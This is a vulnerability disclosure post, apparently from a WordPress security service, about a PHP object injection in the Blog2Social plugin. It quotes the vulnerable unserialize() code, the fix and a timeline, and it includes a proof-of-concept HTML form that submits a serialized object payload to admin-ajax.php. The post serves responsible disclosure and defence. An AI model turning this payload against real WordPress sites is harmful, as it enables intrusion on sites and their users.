Our Proactive Monitoring Caught an Authenticated PHP Object Injection Vulnerability in Blog2Social: Social Media Auto Post & Scheduler
One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities before they are exploited. That sometimes leads to us catching a vulnerability of a more limited variant of one of those serious vulnerability types, which isn’t as much concern for the average website, but could be utilized in a targeted attack. That happened with the authenticated PHP object injection vulnerability we found being introduced in to the plugin Blog2Social: Social Media Auto Post & Scheduler just days ago. This vulnerability could allow an attacker that had access to a WordPress account to exploit a PHP object injection vulnerability. It also could have allowed an attacker that could get a user logged in to WordPress to visit a URL the attacker controls, to exploit the vulnerability as well.
Since the check used to spot this is also included in our Plugin Security Checker (which is accessible through a WordPress plugin of its own), it is another of reminder of how that can help to indicate which plugins are in greater need of security review (for which we do as part of our service as well as separately).
The vulnerability occurred in the function curationShare(). That function, which is located in the file /includes/Ajax/Post.php, passed the value of the POST input “profile_data_’ . $profilId” through the unserialize() function, which could lead to PHP object injection:
53 54 55 56 57 58 59 60 61 62 63 64 65 | public function curationShare() { //save as blog post if (isset($_POST['title']) && !empty($_POST['title']) && isset($_POST['comment']) && !empty($_POST['comment']) && isset($_POST['url']) && !empty($_POST['url'])) { require_once (B2S_PLUGIN_DIR . 'includes/B2S/Curation/Save.php'); $data = array('title' => $_POST['title'], 'url' => $_POST['url'], 'content' => (isset($_POST['comment']) ? $_POST['comment'] : ''), 'author_id' => B2S_PLUGIN_BLOG_USER_ID); $curation = new B2S_Curation_Save($data); $postId = $curation->insertContent(); if ($postId !== false) { //check Data if (isset($_POST['profile_select'])) { $profilId = (int) $_POST['profile_select']; if (isset($_POST['profile_data_' . $profilId]) && !empty($_POST['profile_data_' . $profilId])) { $networkData = unserialize(stripslashes(base64_decode($_POST['profile_data_' . $profilId]))); |
That function is accessible through WordPress’ AJAX functionality to anyone logged in to WordPress:
49 | add_action("wp_ajax_b2s_curation_share", array($this, 'curationShare')); |
After we notified the developer of the issue, less than 12 hours later they released version 5.0.1, which fixes the vulnerability, though you wouldn’t know that from the changelog as that just says “Usability Optimization”. The vulnerability was resolved by replacing use of unserialize() with json_decode() (and replaces related use of serialize() with json_encode()):
65 | $networkData = json_decode(base64_decode($_POST['profile_data_' . $profilId])); |
Proof of Concept
With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” be shown, when logged in to WordPress.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=b2s_curation_share" method="POST"> <input type="hidden" name="title" value="test" /> <input type="hidden" name="comment" value="test" /> <input type="hidden" name="url" value="test" /> <input type="hidden" name="profile_select" value="1" /> <input type="hidden" name="profile_data_1" value="TzoyMDoicGhwX29iamVjdF9pbmplY3Rpb24iOjA6e30=" /> <input type="submit" value="Submit" /> </form> </body>
Timeline
- September 20, 2018 – Developer notified.
- September 21, 2018 – Version 5.0.1 released, which fixes the vulnerability.
- September 21, 2018 – Developer responds.